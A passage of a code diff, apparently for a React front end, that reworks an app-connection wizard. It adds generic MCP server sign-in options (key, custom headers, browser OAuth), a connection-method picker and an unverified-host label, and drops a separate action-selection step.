onRetry={async () => { setOAuthError(null); setOAuthPhase("starting"); @@ -498,17 +630,53 @@ export function AppsConnect() { ); } + // A pasted endpoint that needs browser sign-in gets the same waiting/retry + // screen a curated OAuth app does, minus the branding it doesn't have. + if (genericOAuthPending && !entry && linkUrl && step === "key") { + return ( + { + setOAuthError(null); + const connectionId = connectResult?.connectionId; + if (connectionId) { + setOAuthPhase("starting"); + startOAuth(connectionId); + return; + } + // No draft to resume, so fall back to the setup screen rather than + // creating a second connection for the same endpoint. + setGenericOAuthPending(false); + setOAuthPhase("entry"); + }} + onCancel={() => { + setGenericOAuthPending(false); + setOAuthPhase("entry"); + setOAuthError(null); + }} + /> + ); + } + const appName = connectResult?.application.name ?? entry?.name ?? - (linkName.trim() || defaultLinkName(linkUrl) || "this app"); + (linkName.trim() || defaultGenericMcpName(linkUrl) || "this app"); const zapierEntry = zapierSource ? galleryQuery.data?.apps.find((app) => app.slug === "zapier") ?? null : null; const stepLabels = zapierSource ? ZAPIER_STEP_LABELS + : entry && getAvailableConnectionMethods(entry).length > 1 + ? ["Pick app", "Choose connection", "Choose access", "Install tools"] : isGoogleSheetsEntry(entry) - ? ["Pick app", "Share sheet", "Choose actions", "Choose access", "Install tools"] + ? ["Pick app", "Share sheet", "Choose access", "Install tools"] : STEP_LABELS; const stepIndex = zapierSource && step !== "gallery" && step !== "success" ? ZAPIER_STEP_INDEX[step] @@ -533,6 +701,7 @@ export function AppsConnect() { ? { name: "Zapier", logoUrl: zapierEntry?.branding.logoUrl ?? null } : undefined } + unverifiedHost={!entry && !zapierSource && step !== "gallery" ? endpointHost(linkUrl) : null} onCancel={() => navigate("/apps")} /> )} @@ -543,35 +712,13 @@ export function AppsConnect() { apps={galleryQuery.data?.apps ?? []} byo={searchParams.get("byo") === "1"} source={searchParams.get("source")} - onPick={(picked) => { - if ( - getAvailableConnectionMethod(picked)?.auth === "oauth" && - isMcpDirectOAuthConnectSlug(picked.slug) - ) { - navigate(appSourceConnectHref(picked.slug)); - return; - } - setEntry(picked); - setGalleryName(picked.name); - setLinkUrl(""); - setLinkName(""); - setLinkNeedsKey(false); - setLinkKey(""); - setCredentials({}); - setGoogleSheetsLinks(""); - setGoogleSheetsError(null); - setConnectResult(null); - setInstallMode("none"); - setInstallAgentIds(new Set()); - setStep("key"); - navigate(appConnectHref(picked.slug, "key")); - }} + onPick={useMatchedGalleryEntry} onUseLink={(url) => { const matchedEntry = getAppDefinitionForUrl(url, galleryQuery.data?.apps ?? []); setEntry(null); setGalleryName(""); setLinkUrl(url); - setLinkName(matchedEntry?.name ?? defaultLinkName(url) ?? ""); + setLinkName(matchedEntry?.name ?? defaultGenericMcpName(url) ?? ""); setLinkNeedsKey(false); setLinkKey(""); setCredentials({}); @@ -593,6 +740,14 @@ export function AppsConnect() { onNameChange={setGalleryName} values={credentials} onChange={setCredentials} + methodKey={connectionMethodKey} + onMethodChange={(nextMethod) => { + setConnectionMethodKey(nextMethod.key); + setCredentials({}); + setConfigValues(defaultMethodConfig(nextMethod)); + }} + configValues={configValues} + onConfigChange={setConfigValues} googleSheetsLinks={googleSheetsLinks} googleSheetsError={googleSheetsError} onGoogleSheetsLinksChange={(next) => { @@ -630,9 +785,35 @@ export function AppsConnect() { }} keyValue={linkKey} onKeyChange={setLinkKey} - submitting={connectMutation.isPending} + authMode={linkAuthMode} + onAuthModeChange={(next) => { + setLinkAuthMode(next); + setLinkGuidance(null); + // Leaving the simple path means the explicit choice governs; drop the + // "does it need a key?" answer so the two can't disagree. + if (next !== "auto") setLinkNeedsKey(false); + if (next !== "bearer" && next !== "auto") setLinkKey(""); + }} + headers={linkHeaders} + onHeadersChange={(next) => { + setLinkHeaders(next); + setLinkGuidance(null); + }} + oauthClientId={linkOAuthClientId} + onOAuthClientIdChange={setLinkOAuthClientId} + oauthClientSecret={linkOAuthClientSecret} + onOAuthClientSecretChange={setLinkOAuthClientSecret} + advancedOpen={linkAdvancedOpen} + onAdvancedOpenChange={setLinkAdvancedOpen} + guidance={linkGuidance} + matchedEntry={linkMatchedEntry} + onUseMatchedEntry={linkMatchedEntry ? () => useMatchedGalleryEntry(linkMatchedEntry) : undefined} + submitting={connectMutation.isPending || genericOAuthPending} onBack={() => setStep("gallery")} - onConnect={() => connectMutation.mutate(undefined)} + onConnect={() => { + setLinkGuidance(null); + connectMutation.mutate(undefined); + }} /> )} @@ -646,24 +827,6 @@ export function AppsConnect() { /> )} - {step === "actions" && connectResult && ( - setEnabled((prev) => ({ ...prev, [id]: on }))} - onBulk={(ids, on) => - setEnabled((prev) => { - const next = { ...prev }; - for (const id of ids) next[id] = on; - return next; - }) - } - onBack={() => setAppStep("key")} - onContinue={() => setAppStep("who")} - /> - )} - {step === "who" && connectResult && ( setAppStep("actions")} + onBack={() => setAppStep("key")} onContinue={() => setAppStep("install")} /> )} @@ -714,6 +877,7 @@ function StepHeader({ activeIndex, labels, appIdentity, + unverifiedHost, onCancel, }: { subtitle: string; @@ -721,6 +885,12 @@ function StepHeader({ activeIndex: number; labels: string[]; appIdentity?: { name: string; logoUrl: string | null }; + /** + * Host of an unknown remote MCP server. Present for the whole generic flow so + * the operator can see whose server they are configuring at every step, not + * just on the screen where they pasted the address. + */ + unverifiedHost?: string | null; onCancel: () => void; }) { return ( @@ -735,6 +905,7 @@ function StepHeader({ {appIdentity ? `Connect ${appIdentity.name}` : "Connect an app"}

{subtitle}

+ {unverifiedHost ? : null}
) : ( )} @@ -978,8 +1166,9 @@ function GalleryStep({
{filtered.map((app) => { const copy = appCopyFor(app.slug, app.description); - const oauth = getAvailableConnectionMethod(app)?.auth === "oauth"; - const oauthBlocked = oauth && !isMcpDirectOAuthConnectSlug(app.slug); + const methods = getAvailableConnectionMethods(app); + const oauth = methods[0]?.auth === "oauth"; + const oauthBlocked = methods.length === 1 && oauth && !isMcpDirectOAuthConnectSlug(app.slug); const unavailable = app.availability?.available === false; return ( +
+ ) : null} + + {guidance ? ( +
+ + {guidance.body} + +
+ ) : null} +
- + onNameChange(e.target.value)} placeholder="My app" className="mt-2 h-11" />

- We filled this in from the link. Change it if you’d like. + We filled this in from the address. Change it if you'd like.

-
- -
- onNeedsKeyChange(false)} - /> - onNeedsKeyChange(true)} - /> + {showSimpleKeyQuestion && ( +
+ +
+ onNeedsKeyChange(false)} + /> + onNeedsKeyChange(true)} + /> +
+

+ {needsKey + ? "Paste the key this app gave you." + : "Most servers just work from the address — pick Yes only if the server gave you a key, or if it asks you to sign in."} +

-

- {needsKey - ? "Paste the key this app gave you." - : "Most apps just work from the link — pick Yes only if the app gave you a key."} -

-
+ )} - {needsKey && ( + {(showSimpleKeyQuestion && needsKey) || authMode === "bearer" ? (
- +
- -
- -
-
Your key is stored securely.
-
- You can replace it anytime from this app’s page. -
-
-
+
- )} + ) : null} + + + + Advanced authentication + + + +

+ Only needed when the server's docs are specific about how to authenticate. +

+
+ {GENERIC_AUTH_MODE_OPTIONS.map((option) => ( + onAuthModeChange(option.mode)} + /> + ))} +
+

+ {GENERIC_AUTH_MODE_OPTIONS.find((option) => option.mode === authMode)?.hint} +

+ + {authMode === "custom_headers" ? ( +
+ {headers.map((row) => ( +
+ updateHeader(row.id, { name: e.target.value })} + placeholder="Header name" + aria-label="Header name" + className="h-10 font-mono" + /> + updateHeader(row.id, { value: e.target.value })} + placeholder="Value" + aria-label={row.name.trim() ? `Value for ${row.name.trim()}` : "Header value"} + className="h-10 font-mono" + /> + +
+ ))} + + {headerError ?

{headerError}

: null} + +
+ ) : null} + + {authMode === "oauth" ? ( +
+

+ Paperclip sets sign-in up on its own whenever the server allows it. Only fill these in when the + server's docs tell you to register Paperclip yourself first. +

+
+ + onOAuthClientIdChange(e.target.value)} + autoComplete="off" + placeholder="Optional" + className="mt-2 h-11 font-mono" + /> +
+
+ + onOAuthClientSecretChange(e.target.value)} + placeholder="Optional" + className="mt-2 h-11 font-mono" + /> +
+ +
+ ) : null} +
+
@@ -1269,9 +1638,9 @@ function LinkConnectStep({
- We’ll check the link before turning anything on. + We'll check the server before turning anything on. - @@ -1281,6 +1650,55 @@ function LinkConnectStep({ ); } +/** + * What the operator is choosing is how the *server* authenticates, in its own + * terms. Paperclip decides internally whether that means a preconfigured client, + * a client ID metadata document, dynamic registration, or the credentials pasted + * below — none of which belongs on this screen. + */ +const GENERIC_AUTH_MODE_OPTIONS: Array<{ mode: GenericMcpAuthMode; label: string; hint: string }> = [ + { + mode: "auto", + label: "Let Paperclip check", + hint: "Paperclip asks the server what it needs and walks you through it. Start here.", + }, + { + mode: "none", + label: "No sign-in needed", + hint: "The server is open to anyone with the address.", + }, + { + mode: "bearer", + label: "Key or token", + hint: "Paperclip sends your key as an Authorization header.", + }, + { + mode: "custom_headers", + label: "Custom headers", + hint: "For servers that name their own headers. Values are stored as Paperclip secrets and can\u2019t be read back.", + }, + { + mode: "oauth", + label: "Browser sign-in", + hint: "You\u2019ll sign in at the provider. Add a client ID and secret only if the provider requires you to register Paperclip first.", + }, +]; + +function StoredSecurelyNote() { + return ( +
+ +
+
Stored securely.
+
+ Paperclip keeps this in its encrypted secret store. You can replace it anytime from this app's page, + but it can't be read back. +
+
+
+ ); +} + function SegmentedOption({ label, selected, @@ -1336,6 +1754,10 @@ function KeyStep({ onNameChange, values, onChange, + methodKey, + onMethodChange, + configValues, + onConfigChange, googleSheetsLinks, googleSheetsError, onGoogleSheetsLinksChange, @@ -1348,6 +1770,10 @@ function KeyStep({ onNameChange: (next: string) => void; values: Record; onChange: (next: Record) => void; + methodKey: string; + onMethodChange: (method: ConnectionMethodDef) => void; + configValues: Record; + onConfigChange: (next: Record) => void; googleSheetsLinks: string; googleSheetsError: string | null; onGoogleSheetsLinksChange: (next: string) => void; @@ -1356,7 +1782,10 @@ function KeyStep({ onConnect: () => void; }) { const copy = appCopyFor(entry.slug, entry.description); - const method = getAvailableConnectionMethod(entry); + const methods = getAvailableConnectionMethods(entry); + const method = methods.length > 1 && !methodKey + ? null + : getAvailableConnectionMethod(entry, methodKey || null); const fields = (method?.credentialFields ?? []).map((field) => ({ ...field, configPath: credentialConfigPath(field), @@ -1365,6 +1794,21 @@ function KeyStep({ const allFilled = fields.every( (f) => f.required === false || (values[f.configPath]?.trim().length ?? 0) > 0, ); + const configFields = [...(method?.tenantFields ?? []), ...(method?.extensionFields ?? [])]; + const standardConfigFields = configFields.filter((field) => field.advanced !== true); + const advancedConfigFields = configFields.filter((field) => field.advanced === true); + const [advancedOpen, setAdvancedOpen] = useState(false); + const configFilled = configFields.every((field) => { + if (!field.required) return true; + const value = configValues[field.key]; + return typeof value === "boolean" || (typeof value === "string" && value.trim().length > 0); + }); + const alternativeKeys = method?.configRequirements?.atLeastOneOf ?? []; + const configRequirementMet = alternativeKeys.length === 0 || alternativeKeys.some((key) => { + const value = configValues[key]; + return typeof value === "string" && value.trim().length > 0; + }); + const hasMethodSelection = methods.length <= 1 || Boolean(methodKey); const robotEmail = entry.availability?.robotEmail ?? null; const unavailable = entry.availability?.available === false; @@ -1455,11 +1899,60 @@ function KeyStep({
+ {methods.length > 1 && ( +
+ +
+ {methods.map((candidate) => ( + onMethodChange(candidate)} + /> + ))} +
+ {!method &&

Choose a method to continue.

} +
+ )} + - {fields.length === 0 ? ( + {standardConfigFields.map((field) => ( + onConfigChange({ ...configValues, [field.key]: value })} + /> + ))} + + {advancedConfigFields.length > 0 && ( + + + + Advanced + + +
+ {advancedConfigFields.map((field) => ( + onConfigChange({ ...configValues, [field.key]: value })} + /> + ))} +
+
+
+ )} + + {method && fields.length === 0 ? (

- This app doesn’t need a key. Just connect to continue. + {method.auth === "oauth" + ? `You’ll continue to ${entry.name} to sign in securely.` + : "This app doesn’t need a key. Just connect to continue."}

) : ( fields.map((field) => ( @@ -1490,15 +1983,17 @@ function KeyStep({ )) )} -
- -
-
Your key is stored securely.
-
- You can replace it anytime from this app’s page. + {method?.auth === "api_key" && ( +
+ +
+
Your key is stored securely.
+
+ You can replace it anytime from this app’s page. +
-
+ )}
@@ -1507,11 +2002,13 @@ function KeyStep({
- We’ll check the key before turning anything on. + {method?.auth === "oauth" + ? "You’ll sign in before anything turns on." + : "We’ll check the key before turning anything on."} -
@@ -1519,142 +2016,54 @@ function KeyStep({ ); } -function ActionGroup({ - title, - hint, - actions, - enabled, - onToggle, - bulkLabel, - onBulk, - askFirstLevels, +function MethodConfigField({ + field, + value, + onChange, }: { - title: string; - hint: string; - actions: ToolAppConnectionActionSummary[]; - enabled: Record; - onToggle: (id: string, on: boolean) => void; - bulkLabel: string; - onBulk: () => void; - askFirstLevels: string[]; + field: FieldDef; + value: string | boolean | undefined; + onChange: (value: string | boolean) => void; }) { - if (actions.length === 0) return null; - return ( -
-
-
- {title} - · {hint} -
- -
-
- {actions.map((action) => { - const on = enabled[action.catalogEntryId] ?? false; - const showAskFirst = on && askFirstLevels.includes(action.riskLevel); - return ( -
-
-
- {action.title ?? action.toolName} -
- {action.description && ( -
{action.description}
- )} -
- {showAskFirst && ( - - Ask first - - )} - onToggle(action.catalogEntryId, next)} /> -
- ); - })} -
-
- ); -} - -function ActionsStep({ - appName, - result, - enabled, - onToggle, - onBulk, - onBack, - onContinue, -}: { - appName: string; - result: ConnectToolAppResult; - enabled: Record; - onToggle: (id: string, on: boolean) => void; - onBulk: (ids: string[], on: boolean) => void; - onBack: () => void; - onContinue: () => void; -}) { - const askFirstLevels = askFirstLevelsFrom(result); - const { readOnly, canMakeChanges } = result.actions; - const total = readOnly.length + canMakeChanges.length; - const enabledCount = Object.values(enabled).filter(Boolean).length; - - return ( -
-
- - - + if (field.type === "checkbox") { + return ( +
-
- Connected to {appName} — it offers {total} {total === 1 ? "action" : "actions"}. -
-
- Read-only actions are on. Anything that can change something starts off — turn on the ones you want. -
-
-
- - onBulk(readOnly.map((a) => a.catalogEntryId), false)} - askFirstLevels={askFirstLevels} - /> - - onBulk(canMakeChanges.map((a) => a.catalogEntryId), true)} - askFirstLevels={askFirstLevels} - /> - -
- -
- - If {appName} adds new actions later, they start off until you review them. - - +
{field.label}
+ {field.helperMd &&
{field.helperMd}
}
+
+ ); + } + return ( +
+ + {field.type === "textarea" ? ( +